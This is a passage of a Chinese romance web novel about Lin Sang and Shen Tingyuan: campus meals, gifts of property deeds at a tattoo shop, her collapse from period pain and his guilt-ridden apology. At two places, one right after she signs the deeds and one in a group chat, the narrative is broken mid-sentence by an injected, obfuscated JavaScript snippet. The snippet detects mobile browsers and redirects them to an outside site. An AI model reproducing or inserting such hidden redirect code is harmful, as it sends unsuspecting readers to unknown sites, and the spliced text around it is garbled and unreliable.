他一句话,逗得其他几个人都笑出声,路上她们不停询问着他们过去是怎么认识的,又是怎么发现对方的心意的,沈听原都很耐心地一一回答。 教学楼不算太远,开车没一会儿就到了。 下车后,沈听原说:“下课后我在这等你。” 林桑有些疑惑:“你不用上课的吗?” “你别是压根没考故意骗我的吧。” 沈听原觉得,她的脑回路是真的不太一般。 电视剧里,女主不都是笑着应声,然后四处看两眼,踮起脚给男主送上一个香吻的吗。 他也不求什么香吻,他以为,至少她会很开心地应下。 他无奈地轻扯唇角,从兜里摸出校园卡递给她。 “下课后,记得物归原主。” 林桑垂眼,拿起手里薄薄的卡片看了一眼。 北城外国语大学校园卡上的照片都是报道当天现拍的,上面的照片和他现在毫无差别,她将校园卡收进包里后才转身上了楼。 下课去吃饭的时候,舍友都说不打扰他们,给他们留点独处的空间,说完就飞速离开了。 林桑和沈听原一起往食堂走,沈听原说:“想吃什么?” 林桑:“我每天最怕的就是这个时候,不知道该吃什么。” 沈听原在各个档口扫了一眼,眉尾一扬道:“你平时常吃的是什么,介绍一下?” 林桑想了想:“一食堂二楼的麻辣烫,二食堂一楼的土鸡肉米线。” “我们现在在一食堂,过去二食堂估计抢不到,她家生意很好。” 沈听原:“那就上楼吃麻辣烫?” 林桑点头:“好。” 这会儿饭点,食堂人很多,他们挑好菜后,林桑去找位置,沈听原排了一会儿队才付了钱拿到号码牌。 见他出来,林桑朝他招了招手。 沈听原走到一半,被一个女生拦住,指着手机上的二维码,估计是让他加好友。 沈听原摇了摇头,抬手指着她所在方向,随后就走了过来坐下。 林桑抬眼看着他,脸上带着笑。 沈听原脸色一沉,黑眸盯着她,表情严肃。 “金金。” 林桑笑容敛了一半:“怎么了?” 沈听原:“我现在对你是真没吸引力了。” 他视线在食堂扫了一圈,“你指了给我看看,现在哪个款对你有吸引力,我马上联系医生整容。” 林桑笑倒在椅子里,“沈听原,你幼不幼稚。” “我当然是相信你自己会处理好才不担心的啊。” 沈听轻哼一声,“不信。” 林桑:“你不信就算了,考虑整容吧。” 他脸色更难看了,像小孩耍脾气一样,别过脸不看她。 过了一会儿,叫号的声音响起,沈听原起身去取了餐。 他一坐下,正准备拆一次性筷子,又有人过来。 “帅哥,加个微信呗。” 沈听原继续拆着筷子,拆完递给林桑道:“不加,谢谢。” 女生傲慢地瞥了林桑一眼,“加一个又不会怎样。” 沈听原眼皮轻撩,看着林桑说:“对你可能不会怎样,但对我来说,会失去很多机会。” 女生不解,“什么?” 沈听原:“跟她吃饭的机会,实在是来之不易,我想安静吃完。” “还有,我等会儿还想再厚脸皮一点跟她求个考察期什么的来着,劳烦你给我留条活路。” 女生依旧不依不饶:“假的吧,是不是她管得严你才这么说的,那就更得加一个了。” “我不管人,你去酒吧撩妹我都不会干涉。” 林桑起初还能平心静气地听,这会儿真有点恼了。 以前在舍友那听到一些事,在学校表白墙上看到一些投稿的时候,她甚至还怀疑过那些事的真实性。 那晚她们说了之后,她特意去表白墙上翻了翻,确实是有一些匪夷所思的发言,底下回复骂了一片,她以为那些人也就顶多在评论里随口说说,没想到真能碰上。 林桑抬眼看向女生:“我看你这不是挺爱管事的么。” “我管不管他,管得严不严,你要是实在好奇,要不加我的?” “我每天拍视频,实时跟你报备。” “又或者……”她顿了顿,下巴朝沈听原旁边的空位一点说,“坐呗,近距离好好观察。” 女生瞪了她一眼:“你……” 她话才开了个头,就被沈听原冷声打断:“你什么?” “我是觉得是个人都要面子,所以才会好好跟你解释。” “如果你执意要这样一直没道德,我也不介意……” 他停了一瞬,冷淡地睨了一眼,不咸不淡地道:“做个没道德的人。” 女生的同伴见情况不太对劲,连忙替她道了歉,拉着女生离开。 等她们走远,林桑食欲都消了大半。 一抬眼,发现沈听原脸上带了笑意。 “酷啊金金,知道护着我了。” “以后也要这样好好保护我哦。” 林桑:“……” 还不待她说什么,他又道:“还用整容吗?” 林桑:“……勉强看得过去,再等等吧。” 沈听原也不恼,轻笑着应:“行吧,那我就顶着这张皮再在你面前晃悠一段时间。” …… 晚上沈听原照旧送她到宿舍楼下。 “明天有什么打算?” 林桑:“暂时没有。” 沈听原:“那我过来接你。” 林桑没问接她去哪,一口应下。 隔天没再下雨,但气温依旧很低,林桑从衣柜里翻出一件素色毛衣和一条奶白阔腿裤,换好后又搭了一件偏奶黄色的风衣。 换好衣服后,林桑坐在桌前,快速化了个淡妆。 见她化完了,唐钰琪拿着卷发棒走过来,“你先坐着别动,我帮你卷个头发。” 林桑手机亮了一下,显示有消息,她拿起手机解锁看了一眼,“他到楼下了。” “哎呀,约会就得美美的。”唐钰琪说着已经开始上手,“你让他等一下,我很快的。” 林桑正准备打字,那边先发了消息过来,让她不用着急,慢慢收拾。 等林桑下楼,已经是二十分钟以后。 沈听原就在平时等她的地方站着,换了一身黑,见她出来,他下意识站直了些。 林桑走了过去,抬眼看他:“走吧。” 沈听原愣神没动,林桑抬起五指在他眼前晃了晃:“沈听原,你至于吗?” 他眸色深沉,落在她身上,“至于。” “真后悔,该早点来见你的。” “那样,我就能早点见到你这么漂亮的模样了。” 林桑垂下眼低声道:“我以前发过朋友圈的,谁让你不看。” 头顶传来他低低的一声笑:“看了,每张都看了。” “不然,我怎么知道张清茹是你舍友。” 林桑一想,好像也是。 她低声道:“那你还这么说。” 沈听原抬起手,下意识想揉她的头,看她精心弄出的发型,往下移,在她脸上轻轻戳了一下。 “照片和你站在我面前,哪能一样。” 林桑被他说得有些不好意思,“你不是说要带我去个地方,走吧。” “……” 一个多小时车程,林桑起初还能和他聊聊天,后面就开始犯困。 林桑也不知道自己究竟睡了多久,等被沈听原轻声叫醒的时候,肩膀和脖颈酸到稍微动一下就疼。 “别动。” 沈听原说完,抬手轻轻帮她按摩,一直到林桑缓过来两人才下了车。 前面是一家纹身店,林桑跟着沈听原往里走,里面的人似是都认识他,一个个和他打着招呼,瞥到他身侧的林桑,脸上都带了暧昧不清的笑意。 怕她不舒服,沈听原不耐地“啧”了一声:“看什么,去去去,干活去。” 说着,他带着林桑上了二楼。 二楼东西不像一楼那样多,几个矮沙发和一大张矮桌,后面有个大书架,但上面摆放的书很少,基本都是些小摆件。 看这样子,这里应该是个休息区。 沈听原收了沙发上的毛毯,示意她坐。 林桑坐下后,沈听原给她倒了一杯水,“你坐一下,我去里面取个东西。” 林桑接过水喝了一口,“好。” 林桑看着他开了一侧的门进去,门关上后,她才收回视线。 矮桌上摆了一张合照,林桑凑近看了看,上面有沈听原,有侯云景,有进店时看到的几张面孔,而侯云景身侧的沙发扶手上,坐了一个穿红色吊带的短发女生,女生白皙清瘦的手臂上有着花样繁杂的纹身,没看镜头,和侯云景相视笑着,因为带了帽子,只能看到半张脸。 她看得认真,没注意到身侧的沙发陷下去一块。 “在看什么?” 林桑下意识啊了一声,指着相框说:“看照片。” 沈听原往桌上放了一个厚厚的文件袋说:“这店是我嫂子开的,就坐扶手上那个。” “不过,”他拆着文件袋说,“现在也不能叫嫂子了。” “我哥一天拽得要死,放下身段求个和跟能要他命一样,现在好了,我嫂子都不带正眼看他的。” 沈听原身上的痞气平日里都敛了大半,但侯云景就不一样了,身上那股劲谁都能感受到。 嚣张,桀骜不驯,不会跟谁服软,确实符合她对他的印象。 林桑忍不住笑了一下,沈听原这时已经将文件袋里的东西都拿了出来。 她放下手里的杯子看了一眼,“这什么?” 沈听原将东西在桌上铺开来,指着第一份合同说:“这个,是毕业礼物。” 他指着第二份:“这个,是十八岁生日礼物。” 指尖往旁边挪了一寸:“这个,是大学开学礼物。” “都已经做好了公证,自愿赠与,永远都不会有人找你追回。” 林桑一时愣住,沈听原唇角微扬:“打开看看?” 林桑盯着上面的合同名字,低低应了一声才伸手翻开。 第一份,是云城颐龙湾一套四百多平的复式别墅。 第二份,是理诏一家五百多平的民宿。 第三份,是一辆黑色奥迪A7。 林桑看着上面的车牌,这车不就是沈听原最近开的那一辆。 “这车是你挑的,还记得吗?” 林桑倏地想起,高考结束那个假期,很多同学都趁着有时间去考了驾照,她年龄没到,也没那个想法。 后来满十八之后,被林景拖去考了个驾照,全都一次过,驾照到手后她就扔在抽屉里积灰,但林景就不同了,拿到之后就去租了辆车到处跑。 大概是大一那会儿,开学了快两个月的一个周末,林景给她打了个视频,说是打算买辆车,每天就可以多睡几分钟再起床去上课。 林桑当时还问他买车为什么要给她打电话,是不是钱没凑够,不够的话她可以帮忙。林景说钱不是事,主要是挑了半天有些纠结,让她帮忙看看。 林景人就在4S店里,直接翻转了镜头让她帮忙挑,她当时挑的就是黑色奥迪A7。 后来回云亭的时候,林景开了辆奔驰,林桑也没在意过,毕竟东城到云亭那么远,她挑的车林景只是买来在学校代步的,怎么可能大费周章开回云亭。 林桑默不作声地合上手里的合同,将几份合同全都摞在一起理好,推到沈听原面前:“我不能要。” 沈听原垂眼,视线随意在被她收好的合同上略过,他动了动,双手放在她肩上,让她和自己对视。 “金金。”沈听原神情认真,“现在和高中那会儿不一样。” “我那个时候,经济来源是我爸和我哥,所以能给你的东西有限。” “但现在不一样,我自己能赚钱了,我就想在能力范围内把最好的都给你。” 林桑盯着他那双眸色深到犹如黑潭的眼睛,“你又要看病又要复习准备高考的,哪来的时间去赚钱。” “我不要,你别想骗我。” “真没骗你。”沈听原脸上挂着浅浅的笑说,“我妈给我留了点钱,让我爷爷等我十八岁的时候给我。” “我拿那笔钱当起步资金,跟着我哥投资,本赚回来后早翻倍了。” “但是吧,这点钱在云城和理诏买房什么的绰绰有余,到北城就稍微有点困难。” “北城这个房价,要在好地段买个大房子,我还得努努力。” “所以。”他没忍住,抬手在她头上揉了揉,“先把这些收下,好不好?” 林桑撇开眼,“我不要,你自己留着。” 沈听原脸色一变:“你不要,那我现在就下楼把车砸了啊。” “给你买的,你不要的话,也没什么价值了。” 林桑回头看他,发现他表情不像是在开玩笑,蹙眉道:“沈听原,你有病啊。” 她平时骂人的时候,顶多也就会骂一句“有病啊”、“烦死了”之类的,这会儿顺嘴脱口而出,想到什么,她嘴唇动了动。 “我……我不是……” “我知道,你骂人向来就会这一句。” 沈听原说着,顺势靠在她肩上,捂住心口说:“但是金金,我才好,你别气我好吗?” “签字,行不?” 林桑低垂着眼,为方才的话感到愧疚,她双手局促地抓着腿间的衣服,一言不发。 沈听原在她颈上轻轻蹭了蹭:“签嘛,好不好?” “好不好?” “好不好嘛?” 林桑阖上眼,几秒后睁开:“好。” 签完后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798642|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈听原心满意足地看着上面的名字,从身后摸出一个红色的小盒子递给她。 林桑:“这又是什么?” 沈听原:“第一次给你过生日的时候买的生日礼物。” 林桑想到那时他送的礼物,“你那次……不会真把家里的传家宝给偷出来了吧?” “怎么可能。”沈听原笑,“你就这么信不过我?” “我就是当时见到更好的,觉得这个有些拿不出手,就想着以后找个机会再给你。” 林桑没接话,打开盒子看了一眼,里面是一对小叶子款式的纯银耳钉。 她看了一眼,把盒子递给沈听原。 沈听原眉心动了动:“不要?那我扔了。” 林桑:“……” 虽然知道他是故意的,但林桑还是耐着性子道:“我四个耳洞,还有两个没戴。” 沈听原神色稍顿,扬唇接过盒子。 林桑看着他白皙修长的手将小小的耳钉捏在指尖,随后俯下身一点点靠近。 耳垂上多了一丝温热,他轻轻捏起她的耳垂,慢慢将耳针推了进去。 认真、细致、小心、谨慎。 一如当年在花乌镇那个夜晚。 一回生二回熟。 这一次,他们都不像那晚一般紧张。 甚至,一对耳钉,沈听原戴了整整两分钟。 林桑也没戳穿他,拿起手机看了一眼,转头问他:“好看吗?” 沈听原懒散地在沙发上靠着,闻言笑:“好看。” “你怎样都好看。” 林桑笑眼弯弯,满意地放下手机,从一旁拿起包打开。 她从里面拿了四个红包出来递给他。 沈听原怔了怔:“给我的?” 林桑点点头,将红包一个一个递给他说:“这个,是奶奶给的,她说等你回来,给你做好吃的。” “这个,是外公给的,他说等你回来,给你煮面,我护食的话他帮你。” “这个,是何爷爷给的,他说等你回来一起下棋,每年的火把,都会给你攒着。” 到最后一个时,林桑顿了顿说:“这个是我妈给的,她说……” “什么?” 林桑有些难为情:“她说让你早点去见她。” 刘乔千的原话是让她的未来女婿早点来见她,她说不出口,反正沈听原也不知道,改一下他也不会发现。 沈听原看着手里的红包,眸光闪了闪,漆黑的眸子上带了些许湿意。 “你哥说你国庆也不回家,今年回一趟吧,好不好?” “我也想他们了,想回去看看。” “我住院那会儿,爷爷奶奶每天陪床,经常念叨你。” “到时候返程提前一点,顺路带你去看看房子和民宿,装修风格你定,定下了我去处理。” “然后先去榆城,再去东城见见阿姨。” 林桑眼眶一酸,吸了吸鼻子:“好。” 她算了算,也没多长时间了:“那我提前和他们说一声?” “等到了云亭再说吧。”沈听原说,“给他们一个惊喜。” 林桑点点头,在包里摸了摸,又拿出一个红包。 原本的四个就已经很厚了,这个比其他的还要厚。 沈听原接过,眉梢轻扬,表情耐人寻味:“这个又是谁给的?” 林桑支支吾吾半天才道:“我。” 她没看他,身侧那人动了动,话音落下时,耳廓被一股气息轻轻拂过。 “那她,又说了什么。” 林桑默了一会儿才开口:“她说,她很想你。” 沈听原闷声笑着,拖着腔道:“还是不会用第一人称啊。” 林桑伸手道:“不要还我,好多钱呢。” 沈听原脑袋倚在她肩头,手盖在她头顶,轻轻揉着:“给了哪有收回去的理,不还。” 林桑:“……那你就收好。” 沈听原手下力道重了几分,挑眉道:“遵命。” “……” 这会儿也没什么事做,也不太想出门逛,两人索性窝在沙发上聊天。 瞥到矮桌上的红包,林桑倏地想起本来有个趣事要跟他分享的,结果被他逗了一下,她就全然忘了。 一想到那件事,她就忍不住想笑,一时没克制住,轻轻笑了出来。 沈听原跟着笑了一下,“偷偷笑什么呢?” 林桑指着红包道:“这些红包,是收到录取结果后给的。” “他们可是一碗水端平呢,每个人都一样,只有何爷爷搞特例。” “他给柳靳于的那个红包,比给我们的厚多了。” “我哥当时还不服呢,结果何爷爷说柳靳于总是吃了东西还跟他明算账,多出来的是退他的钱。” “我们还以为以他的性格,知道了得翻天好好算个账呢。” “柳靳于捧着那个大红包,可高兴了,结果到晚上他就笑不出来了,你猜怎么着?” 沈听原眼珠转了一下道:“总不能被何爷爷给要回去了吧?” 林桑点了下头道:“大差不差吧,不过没直接要。” 那天晚上一群人在饭店吃的饭,茶余饭后难免要来点休闲活动,林桑妈妈和大伯他们组局打起了麻将。 何爷爷在一旁看了一会儿,让他们几个小年轻也陪他来两局过过瘾,柳靳于手气不好,钱还没捂热乎呢,就全出去了。 而何爷爷,则鬼精,赢够了多给柳靳于的那部分就借口老了熬不了夜要回家睡觉。 一群人都反应过来了,笑个不停,柳靳于肺都快气炸了,瞪大眼睛看了何爷爷半天才憋出来一句:“老头你竟然耍我!” 何爷爷哼了一声,“小年轻,跟我斗你还嫩着呢,让你长长记性。” “再跟我明算账以后把你老婆本都给赢喽。” “……” 林桑靠在沈听原腿上,说这些的时候,笑眼弯弯。 透过她的笑容,他都能想象到当时那种氛围下,是多么的惬意快活。 他抬手在她柔软的头发上轻轻抚了抚,随后笑了一下。 他不禁期盼日子能过得快一些,早点让他不是从语言中感受那些幸福和喜悦,而是能真切地去体会。 …… 晚上回学校后,林桑收到了一条沈听原发过来的视频。 附带一条消息:【以前说过给你录个纯享版,不过我换了首歌。】 林桑点了一下,视频加载了好一会儿,她打开,视频是他自己录的,没拍到脸,只拍了半截身子。 视频里,他修长的手指拨动着琴弦,清冽的嗓音里带了些哑,唱的是《直到你降临》。 林桑听了一遍,和那天一样,将视频保存,开始了熟悉的操作。 点完单曲循环后,林桑放下手机,目光呆滞地盯着天花板。 她知道沈听原急于将过去许下却没能完成的诺言都在重逢时一一兑现。 她该感到高兴的,可内心那份喜悦,始终没有想象中那么强烈。 她曾经在他那感受过毫无保留的热情和爱意,如今重逢,沈听原看似和过往无异,可无形中,却像是隐藏压抑着什么。 令她十分不安。 长期的失眠没因为他回来而得到改善,反而愈发严重。 翻来覆去睡不着,林桑下床上了个厕所,轻声打开褪黑素,吃完才重新爬上床。 30.第 30 章 后面两天休息的时候,两人对国庆回家的路线和要做的事做了规划,计划完成后,只等放票的那天买票。 周二这天,一直很清闲的沈听原才忙碌起来,他今天满课,难得的没法过来接她去上课。 林桑下午才有课,她晚上一直睡不着,天快亮了才迷迷糊糊睡了一会儿。 睡了没多久,小腹开始绞痛,一股热流猛地从身下涌了出来。 林桑愣了一下,急忙下床,舍友都没醒,她轻声在抽屉里翻了一会儿,拿上卫生巾往厕所跑。 等她弯腰捂着肚子出来的时候,张清茹正好睡眼惺忪地从床上下来。 她穿上鞋子转身,见到披头散发捂着肚子的林桑,吓了一跳,连瞌睡都醒了。 “来了?” 林桑无力地点点头。 张清茹连忙过来扶住她,低声询问:“肚子痛不痛,要是痛我现在带你去医务室。” 林桑摇了摇头,“还好。” 扶着她坐下后,张清茹拿起桌上的水杯帮她接了一杯热水说:“那你喝完热水先上床躺一会儿,想吃什么我去帮你买,痛了就喊我。” 林桑接过水捧在手里,“好,谢谢。” 张清茹随口应了一声就抓起手机往厕所跑。 林桑将水吹凉一些后,从抽屉里拿了一包阿咖酚散拆开,仰头倒进嘴里。 这种药不苦,入口是一股酸味,随之而来的是一股难以言喻的味道,令人不禁发颤,林桑急忙拿起水杯,将水一口气灌完才缓过来。 为了缓解痛经,她不知道吃过多少药,最初是吃以前在云亭县医院医生给开的那种滴丸,后来没用,又开始吃布洛芬,从一颗到两颗,最后还是没用。 还当真被那个医生给说中了,不打针不行,光是来北城一年多,她就不知道进了多少次医务室。 这药是上一次痛的时候班上一个女生推荐的,她也就买来试试,没抱什么希望,吃完贴了个暖宝宝就重新爬上床。 这一觉睡得很沉,被张清茹叫醒的时候,林桑身上都是汗。 她缓了缓起身,掀开被子准备下床的时候,张清茹拦住她,把手里的粥递给她说:“别下床了,喝完叫我。” 林桑从她手里接过粥,道完谢,打开看了一眼,胃里隐隐开始翻滚。 她抬手按在胃上,等那股劲压下后才小口小口开始喝粥。 喝了不到三分之一,胃里开始翻江倒海,小腹上的坠胀感也逐渐加重,后背冷汗阵阵。 这种感觉太熟悉了,林桑连忙喊了张清茹一声,将手里的粥递给她之后,下床直冲厕所,连鞋都没来得及穿。 林桑蹲在厕所里,干呕了半晌,尽管胃里的东西已经翻滚如巨浪,她还是什么都吐不出来。 她缓慢起身按下冲水按钮,开门走到洗漱台洗手,洗完转过身时,眼前的景象一晃而过,最后只剩下一抹黑。 …… 沈听原收到张清茹消息的时候,距离下课还剩十分钟。 这个老师的课上想出门上厕所的话都不用打招呼,自己轻声从后门出去就行,他也顾不上老师下课后会不会再点一次名,直接起身出了教室。 学校医务室离教学楼稍微有段距离,路上都是人,他再着急也只能缓缓放慢车速。 车在医务室附近的停车区停好后,沈听原连车都没锁就往医务室跑。 北城外国语大学的医务室很大,进门处是一排排座椅,上面零零散散坐了几个输液的人,后面有几个挂了帘子的房间。 沈听原想也没想,阔步走了过去。 掀开第一个帘子的时候,里面没人,第二个帘子后也是如此,第三个帘子后有两个人躺在床上,两个人在陪同,见他们都看过来,沈听原快速道了歉就往下一间走。 帘子掀开的时候,终于见到了在中间那张床上躺着的林桑。 旁边站了一个男生,躬着身帮她掖被子。 听到动静,男生下意识抬头看了过来,见到他,也不意外,低声道:“刚打上针,她舍友一会儿有课只能留一个陪同,这会儿去买暖宝宝了。” 沈听原顿在原地,突然不太敢靠近。 闻言,他轻微颔首,在原地停了一会儿才往床边走。 男生见他过来,让到一旁空床上坐下。 林桑一张脸没什么血色,嘴唇干裂,似是不舒服,眉心皱成一团。 沈听原在床边坐下,伸手探进被子里,她的手很凉。 他将手退出来搓了搓,又重新钻进被子里,一下一下地在她手背上和手臂上捂着。 不一会儿,一个医生进来,看了林桑一眼道:“她呼吸可能不太顺畅,帮她把枕头稍微垫高一点。” “还有。”医生视线在他们两人之间梭巡了几秒说,“帮她把里面的内衣扣子解一下,不然勒着她不好受。” 医生说完,见他们都没反应,问了一嘴:“你们谁是她男朋友?” 坐在空床上的宋清迎摇了摇头就起身往外面走。 沈听原眼眶憋得通红,下颌绷得很紧,面上的肌肉颤了颤。 他转过头,看向医生,嗓音哑得不行:“医生,麻烦你,叫个女医生进来帮她解一下。” 医生顿了一下,点头掀开帘子出去了。 过了一会儿,一个女医生掀开帘子进来,沈听原也起身往外走。 宋清迎站在医务室门口,沈听原走到他身侧站定,低声道:“谢了。” 宋清迎闻言,愣了一下,注意到他视线一直落在身后,后知后觉反应过来。 “哦,不用。” “我就是路上碰到了顺手帮个忙。” 如果只是路上随便偶遇的,顺手帮忙的一个人,张清茹怎么可能放心让他陪床。 沈听原喉结轻滚几下,“你哪个级的?” 宋清迎笑了一下说:“和她同级同专业,只是不同班。” 沈听原仰头闭了闭眼,淡声低喃道:“那挺好。” 嗓音里,带了无尽的颤意和妒意。 “诶,你俩怎么在外面?” 张清茹手里拎着一个纸袋从台阶上来,不明所以地看着他们。 见进去的女医生已经出来,沈听原道:“她不太舒服,让医生看看,我们在不太方便。” 张清茹点点头,往里面瞥了一眼,“医生出来了,进去吧,没人陪着可不行。” 三人默不作声往里走,张清茹帮林桑贴暖宝宝,沈听原在一旁帮她捂手,宋清迎也没离开,坐在空床上仰头看着瓶里的药水。 …… 林桑醒来的时候,最后一瓶药水刚过半。 身上压了两床被子,她有些喘不过气,想抬手将被子掀开却没力气,只能轻哼着动了动。 “哪不舒服?” 听到熟悉的声音,林桑蹙着眉勉强睁开眼:“你……” 嗓子太干,她咳了两声才继续道:“你今天不是满课吗?” “请假了。”沈听原说,“哪不舒服?” 林桑:“太重了。” 沈听原垂眼,下意识想帮她把被子拿开,下一秒,动作停住。 “还冷不冷?” 林桑无力地摇了摇头,沈听原这才将上面的被子拿开。 这会儿张清茹和宋清迎都去吃饭了,屋里只有他们。 沈听原温热的掌心在她手臂上一下一下轻抚着,“你……每个月都得打针吗?” 林桑默了一瞬,镇定道:“也就偶尔,像今天这样,还是第一次。” 沈听原动作停住,他垂着头,泪珠从他通红的眼眶滚了出来,砸进白色的被子里,晕开一片。 林桑有些慌乱地想抬手,被他按住。 “沈听原,你哭什么?” “我这不是好好的,没事。” 沈听原肩膀震颤着,头几乎要埋进被子里,林桑看不到他的表情,只能看到被子上的水渍一点一点扩大。 “金金,为什么要骗我。” “你这样,都是因为我,为什么要说谎。” 林桑吞了吞口水,“沈听原,你为什么要把这个事赖到自己头上。” “你是不是忘了高中打针那次了,医生当时特意提醒过,是我执意要打针的。” 沈听原当然记得,不仅如此,他还清晰地记得那次打针之后,林桑就再也没去打过针,偶尔痛一次也是轻微的,连药都不用吃的程度。 他不在的日子里,究竟发生过什么才会变成这样。 他不敢想,也不敢问。 可看着她躺在床上的样子时,愧疚,心疼,无数种情绪涌了上来。 他想,她那么痛苦,他必须得面对。 沈听原趁着林桑还在熟睡,问了坐在一旁的张清茹。 张清茹说林桑是来了北城快两个多月才开始这样的,起初从没见她痛经过,那一次突然痛到走不了路,把她们都给吓得够呛。 以为她是出去聚餐的时候喝了酒受影响,后面几次碰上部门和社团聚餐的时候,她们都会提前打招呼让别人别灌她酒。可后来还是同样的结果,林桑说在家的时候从来没痛过,可能水土不服,以后她多注意点饮食就会没事的,她们也就信了。 直到后来,她们起夜的时候,每个人都在不同时间段发现不管几点林桑帘子里都有微弱的光。 那时她们才知道,林桑失眠很严重,吃褪黑素也依旧睡不着觉。 这样下去不是办法,她们商议一番,十一点熄灯时准时把林桑的手机收了。 但也没什么用,不能盯着手机发呆了,林桑就一夜都盯着天花板发呆。 说到这时,张清茹叹了一声:“她这样,我们也不太敢问是因为什么事,怕引起不好的回忆她会更难受。” “后来她一有时间就往图书馆跑,也没再打过针。” “有次上课点名她没来,班长和老师说她请假的时候我们才知道,她怕麻烦我们,自己感觉不对劲了就提前跑到医务室坐着。” 张清茹吸了吸鼻子,看了眼病床上的林桑,满眼心疼,话音里带了几分哽咽。 “她对我们很好,我们平时没课不想出门的时候,她从图书馆回来经常帮我们带东西,在课题上碰到什么问题了她也会帮解决,谁生病也是她第一个发现,忙前忙后地照顾。” “我们一直觉得这种事都是相互的,她帮我们那么多,我们也就偶尔帮她那么一两次。” “怎么会麻烦呢……” “……” 眼见沈听原唇线拉直,一双眼睛变得猩红,下颌紧绷到带动着脖颈上的青筋凸起,像是在隐忍着什么。 张清茹没再多说,默了一会儿,看了眼时间,又抬头看了眼药水才再次开口:“按照以前的情况,她一会儿就要醒了。” “帮她打开心结这件事上,我们真的无能为力。” “你跟她认识时间长,加上你们的关系,她为什么会这样你应该是知道的。” 张清茹起身,用眼神示意坐在空床的宋清迎。 两人往外走,张清茹在门口停住,回头道:“我们去吃饭,一会儿就不回来了。” “你……尽量开导她一下吧。” 想到这些,无尽的愧意几乎要将他蚕食。 沈听原抬手胡乱在脸上抹了两把,嘴唇翕动,半晌才道:“对不起。” “金金,对不起……” “对不起……” “都怪我,怪我自作主张,竟然觉得不给你希望是对你好。” “都怪我……对不起……” 他一遍又一遍地呢喃着,这般反应,林桑也猜到他什么都知道了。 泪水从眼角滑落,没入发间。 林桑微微仰了下头,腾出没输液的那只手在他柔软的头发上轻轻揉了揉。 许久,她才缓缓开口:“沈听原,我原谅你,你别哭了,好不好。” 沈听原整张脸都埋在被子里,闻言伸手握在她的手腕上,闷声道:“好。” …… 输完液后,知道林桑就喝了点粥,沈听原带她去了食堂。 这会儿是上课时间,食堂人很少,找了个位置坐下后,沈听原柔声问:“想吃什么?” 林桑喝了不少水,撑得不行,也没什么胃口,又怕不吃东西他会担心,想了想随口道:“红糖鸡蛋吧。” “好。” 沈听原走后,林桑才从包里翻出手机。 消息不少,都在问她怎么样了,林桑翻看了一会儿,一一回复。 这时,张清茹发了一条消息过来,林桑看着上面的内容,指尖顿了一瞬才缓缓打字回复。 不一会儿,沈听原端着一个盘子过来坐下,他把盘子放在林桑面前,拆着筷子和勺子的包装袋说:“红糖补气血,你现在这个情况,不能吃太多,把鸡蛋吃了就好,别喝汤。” “还点了一份红豆小汤圆,都吃一点,吃得下多少吃多少,吃不完我解决就行。” 沈听原说着已经帮她把筷子和勺子都摆好了,林桑摁灭手机屏幕放进包里,抬眼看他,“你吃什么?” “你先吃。”沈听原说,“我不饿,一会儿又点。” 林桑没动,“你快去点,我们一起。” 沈听原:“我真不饿。” 林桑:“……那我不吃了。” 沈听原轻叹一声,妥协道:“行,我马上去。” 他没特意选吃什么,直接起身往林桑身后的档口走,点了一份小面,马上又坐回来。 坐下后,沈听原指尖轻轻叩着桌面,下巴朝桌上的东西一扬,弯唇道:“现在能吃了吗?” 林桑回头看了一眼,他的面刚下锅。 “我再等等。” 沈听原闷声笑:“三岁小孩啊,吃饭还得等人一起。” 林桑用勺子搅着红豆汤圆,小声道:“三岁小孩怎么了,我想等就等。” 沈听原笑意更浓了几分,语调柔和:“行。” “你想怎样都行。” “……” 吃过饭后,沈听原送林桑回寝室之后就去上课了。 林桑一个人躺在床上,在医务室打针的时候睡了很长时间,这会儿没什么睡意,她捞起手机,在群里发了个表情包试探有没有人。 适珈蓝很快跳出来:【我记得你今天不是下午有课?】 【不会又进医务室了吧?】 怕她们又担心,林桑随意找了个借口:【没有,调课了。】 【我就是想着马上国庆了,问问你们回不回家。】 适珈蓝:【我就那么点路程,肯定回啊。】 鲁琳的消息紧随其后:【我也不算远,回!】 方倚霏:【又到了你们俩合伙霸/凌我和林桑的时候了。】 方倚霏:【啊啊啊,我也好想回去啊,想吃好多好吃的。】 适珈蓝:【到时候想吃什么告诉我,我带你隔着屏幕云吃~】 聊了一会儿,适珈蓝才想起问林桑怎么突然问她们回不回家。 林桑指尖悬在屏幕上,犹豫了一会儿才开始打字:【我今年也打算回去一趟,和沈听原一起,所以……】 消息一发出去,她们三都特别默契地发了个“什么”的表情包出来。 林桑删删改改几次才将消息发了出去:【我想跟他表个白。】 适珈蓝:【!!!你们都重逢几天了,怎么还不在一起!给我搞快点!】 鲁琳:【说不定沈听原正在谋划呢,你要不再等等?】 方倚霏:【我也觉得,这种事,怎么说他都不可能让你先来。】 林桑也不是没想过,但她也不知道沈听原究竟有没有这个打算,就算有,他是打算等他们回云亭的时候开口,还是要挑个其他时间,她一律不清楚。 林桑:【主要是,现在跟高中那会儿不太一样,那时候追他的人虽然也多,但都挺含蓄的,也不会一直缠着他要联系方式什么的。】 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798643|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑:【最近只要出门就能碰上要联系方式的,还有人当面问我们是什么关系。】 林桑:【我就总觉得,我们一直这样不清不楚的,不太好……】 她这条消息发出去后,隔了一会儿,适珈蓝直接发了条语音过来,还挺长。 